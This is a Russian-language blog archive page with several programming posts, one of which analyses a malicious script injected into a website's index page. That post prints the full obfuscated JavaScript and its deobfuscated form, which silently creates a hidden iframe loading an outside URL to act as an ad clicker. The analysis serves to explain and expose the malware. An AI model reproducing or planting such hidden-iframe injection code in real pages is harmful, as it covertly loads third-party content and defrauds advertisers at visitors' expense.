Archive

Archive for March 19th, 2010

Основы создания модульных приложений

March 19th, 2010 No comments

В дополнение к вебкасту Prism: Composite Application Guidance for WPF and Silverlight хотелось бы сделать еще несколько умозаключений. “Призма” на данный момент очень распространенный подход к разработке программных продуктов. За рубежом если вы найдете какую-нибудь работу на WPF или Silverlight первый вопрос, который вам зададут “А знаете ли вы призму?”. Чтобы узнать ее можете посмотреть первые 20 минут скринкаста, где я описываю основные моменты данного подхода. Узнать призму – это безусловно хорошо, но еще лучше знать зачем она нужна. Постараюсь привести пару простых примеров модульных приложений. Читать дальше… (redirect to http://outcoldman.ru)

Categories: Uncategorized Tags:

Онлайн визитки для MCP специалистов

March 19th, 2010 No comments

Хочется поделится чем-то хорошим и полезным. Это "что-то" будет полезно MCP-специалистам, для которых разработали сайт http://mcpvirtualbusinesscard.com для создания онлайн визиток. В результате заполнения ваших данных вы получите красиво оформленную визитку. У меня она получилась вот такая: Читать полностью

Categories: Uncategorized Tags:

Silverlight 3 с примерами на C# для профессионалов

March 19th, 2010 No comments

Автор(ы): Мэтью Мак-Дональд
Издательство: Вильямс, 2010 г.
ISBN: 978-5-8459-1637-2
Страниц: 656

От издательства:
Silverlight 3 — это революционная технология, которая позволяет создавать мощные клиентские приложения, выполняемые в браузерах. Подобно Adobe Flash, Silverlight поддерживает обработку событий, двухмерное рисование, воспроизведение мультимедийного…

Купить книгу

Categories: Uncategorized Tags:

Silverlight: Создаем Twitter приложение для Windows Phone 7

March 19th, 2010 No comments

Итак, в понедельник у меня была возможность открыть MIX 2010 День 1 Keynote в Лас Вегасе (видео прилагается). В keynot’e я сделал анонс Silverlight 4 RC версии (финальная версия будет доступна в следующем месяце) и инструменты VS 2010 RC для Silverlight 4. У меня так же была возможность впервые обсудить применение Silverlight и XNA для разработки Windows Phone 7 приложений. В процессе выступления я создал два небольших Windows Phone 7 приложения, используя Silverlight: простое “Hello World” приложение и приложение, которое получает данные с Twitter. Обе программы легко создать, на это нужно всего пару минут. Ниже показаны шаги, которые вы можете совершить для создания приложений на своей машине.

Читать полностью

Categories: Uncategorized Tags:

Распутывание злого кода

March 19th, 2010 No comments

Добрый день!
Подскажите, недавно в мой index был дописан код

function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';
return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.
iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF=""; wS=9383;
 
...(и много-много этого злокода)...

как так получилось, если от ftp пароли нигде не сохраняю, а других акков нету.
И, если сильны в java, подскажите, что делается то в коде?))

Вот что я недавно нашел на одном форуме. Любопытно узнать, что же действиетльно делается в коде…

1. Форматирование кода

Естественно, сперва необходимо отформатировать код, чтобы начать его читать. Вставляю эту кашу в Notepad++ и через 10 минут работы энтером и табом вижу вот что (приготовьтесь долго скролить):

function zG(){};
tF=53186;
 
zG.prototype =
{
	fK : function()
	{
		e="e";
		this.fQ='';
		return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');
		var oN=new Date();
		this.nU="";
	},
	v : function()
	{
		dF="";
		wS=9383;
		nB="nB";
		var t=new Date();
		var h='';
		var m=new Date();
		String.prototype.iH=function(d, o){return this.replace(d, o)};
		var r=new Date();
		tR="tR";
		kQ=false;
		gG=20573;
		wJ=false;
		zW="";
		var c=function(){};
		var y=window;
		gN="gN";
		this.yQ="yQ";
		var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
		var eK=new Date();
		var hI="hI";
		function jL(){};
		var z = this;
		var rN='';
		var p=false;
		var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";
		function mT(){};
		xH="";
		this.u=false;
		var f=document;
		this.dX="dX";
		this.hB="hB";
		var jA=false;
 
		var k =
		{
			vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''),
			oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),
			kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''),
			fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''),
			w : 's;rLcL'.iH(/[L;\{\(5]/g, ''),
			xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '')
		};
 
		var rK='';
		function hV(){};
		var uI=function(){return 'uI'};
		this.gC='';
		var rP="";
		var tZ=function(){return 'tZ'};
		this.a="a";
		var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));
		var kL=new Date();
		i=39073;
		this.fU="fU";
		jO=false;
		pW='';
		var eY=5116;
 
		try
		{
			rD="rD";
			vC=false;
			var fI=function(){};
			var rU="rU";
			this.q="q";
			b="";
			var bJ='';
			nE(n,k.oU, yR("display%3A%20none"));
			function dS(){};
			rG=63044;
			this.uK=false;
			this.iB="iB";
			nE(n,k.w, this.fK());
			eU="eU";
			this.pS='';
			this.fR="";
			var qA='';
			qE="qE";
			qL="";
			f[k.xK][k.vM](n);
			this.xL=54456;
			this.hW="";
			var bK=new Array();
			this.iR="";
		}
		catch(g)
		{
			this.vB="";
			tN='';
			var eJ='';
			var uD=new Array();
			var rV=new Date();
			var l=function(){};
			this.lK='';
			f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));
			this.hK=49925;
			var iL=new Array();
			hKH='';
			this.uJ=61972;
			this.cO="cO";
			var s="s";
			this.mG=53808;
 
			y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')]
			(
				function()
				{
					this.cJ="cJ";
					this.uR="";
					var pO='';
					vH=58151;
					this.dSF='';
					var sV="sV";
					z.v();
					var wH=34896;
					var cM=new Date();
					var yK=new Array();
					var eYV=function(){};
					this.kU="kU";
					zT="";
				},
				368
			);
 
			zJ="";
			var dXZ="dXZ";
		}
 
		qZ=19279;
		this.vBG='';
		var nM=new Date();
		var tZZ=false;
		var eE=new Date();
		var hC=new Date();
		function vO(){};
		var wZ="";
 
		function nE(n, j, dB)
		{
			this.bW='';
			var fT=new Array();
			n[k.fV](j,dB);
			var iRP=function(){return 'iRP'};
			tD="";
			var kI=new Array();
		}
 
		this.xX='';
		this.fX='';
		var tQ=false;
		dV=false;
	}
};
 
var uY=new Array();
var cP=new zG();
this.dK="dK";
cP.v();
function gQ(){};

Очевидно, что в коде много мусора. Я немного растерялся, не зная, как приступить к его чистке. Но тут взгляд упал на строку:

var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];

Я увидел здесь слово unescape! Словно как на трехмерной картинке :) Стало ясно, что делать дальше.

2. Чистка строк

Нахожу функцию чистки строки:

String.prototype.iH=function(d, o){return this.replace(d, o)};

Таким образом, запись:

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '');

означает, что из строки нужно выкинуть символы «Yj9\$\{».

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '') === 'unescape'

И второй способ засорения строк, попроще:

window.unescape("xxK%3C%2Fbody%3E%3C%2Fhtml%3E") === "xxK</body></html>";

Пробегаю по всем строковым константам и привожу их в порядок…

3. Удаление неиспользуемых функций и переменных

Код оказалось легко уменьшить в 4 раза, удалив строки такого вида:

tF=53186;
gN="gN";
this.fQ='';
var oN=new Date();
kQ=false;
var c=function(){};

4. Устранение запутывающих переменных

Следующим шагом было распутывание конструкций такого вида:

var n=f[k.kC]('iframe');

Благодаря нехитрой таблице преобразований

y=window
yR=y['unescape']
z = this
oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E"
f=document
k = {vM:'appendChild', oU:'style', kC:'createElement', fV:'setAttribute', w:'src', xK:'body'}

они превращались во вполне читаемый код:

var n = document['createElement']('iframe');

5. Устранение запутывающих функций

Оставалось избавиться от пары функции:

fK : function()
{
	return 'http://click-poisk.com/there/in.cgi?7';
}
 
function nE(n, j, dB)
{
	n['setAttribute'](j,dB);
}

И можно читать код зловредного скрипта.

6. «что делается-то в коде»

Я прокомментировал каждую строчку:

// констркутор класса zG
function zG(){};
 
// класс zG, состоящий из единственной функции v()
zG.prototype =
{
	v : function()
	{
		// создание iframe
		var n = document['createElement']('iframe');
 
		try
		{
			// iframe делается невидимым
			n['setAttribute']('style', 'display: none');
			// загружаемая iframe страница
			n['setAttribute']('src', 'http://click-poisk.com/there/in.cgi?7');
			// подключение созданного iframe к документу
			dokument['body']['appendChild'](n);
		}
		catch(g)
		{
			// если что-то пошло не так, в документ добавляется какая-то хрень
			document['write']('xxK</body></html>');
			// и менее, чем через полсекунды, попытка повторяется
			window['setTimeout'](function(){this.v();}, 368);
		}
	}
};
 
// сооздание объекта и вызов его злой функции
var cP=new zG();
cP.v();

Это кликер. Я, признаюсь, ожидал чего-то более интересного, но сам процесс распутывания кода был весьма увлекателен.

Кликер – это программа, имитирующая «клики» мышкой по баннерам и прочей рекламе, разновидность Интернет-ботов.

Interactive Charts

March 19th, 2010 No comments

У всех нас часто возникают моменты, когда нужно за короткий срок сделать точный выбор. Но не имея полный обзор общей картины сложно это сделать.
Вот и я решил прибегнуть к помощи сообщества :)

Необходимо выбрать open source или платные компоненты интерактивных диаграмм для бизнес приложений.
Максимально гибкую, без флеша, и всяческих диаграм вроде гаджетов, спидометров итд.
Вполне для этого подходит Google Visualization API, но увы лицензионное соглашение нас огорчило.

Хотелось бы узнать, а что крутит сообщество в своих проектах :)

P.S

И если кто использовал fusioncharts  что можете сказать? Пока рассматривается как основной игрок

Categories: Uncategorized Tags: